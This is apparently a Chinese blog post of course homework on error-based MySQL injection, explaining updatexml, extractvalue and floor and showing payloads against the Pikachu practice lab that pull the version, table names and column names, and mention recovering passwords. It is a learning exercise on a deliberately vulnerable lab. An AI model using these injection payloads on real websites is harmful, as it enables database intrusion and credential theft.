黄教头第四周作业 基于函数

基于函数报错输入
sql-Inject漏洞手动测试-基于函数报错的信息获取
常用的报错函数updatexml().extractvalue().floor()
基于函数报错的信息获取(select/insert/update/delete)

基于报错的信息获取

技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息.
select/insert/update/delete都可以使用报错来获取信息.
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

基于报错的信息获取-三个常用的用来报错的函数
updatexml0:函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor:MYSQL中用来取整的函数.

基于报错的信息获取-三个常用的用来报错的函数-updatexml0
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值.
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名.
第二个参数:XPathstring(Xpath格式的字符串).
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则则会发生错误

select下报错的利用演示
检查有无漏洞

在这里插入图片描述
在这里插入图片描述
kobe 'and updatexml(1,version(),0)#)
构造
查询
在这里插入图片描述
kobe 'and updatexml(1,concat(0x7e,version()),0)#)

在这里插入图片描述
显示完全
kobe’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),0)#
在这里插入图片描述
输出>一行
kobe’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu’limit 0,1)),0)#
在这里插入图片描述
取得表名

之后与获取列名思路相同
kobe’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user’limit 0,1)),0)#
在这里插入图片描述
查到host用户名
再用此方式获得密码

破解完成

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值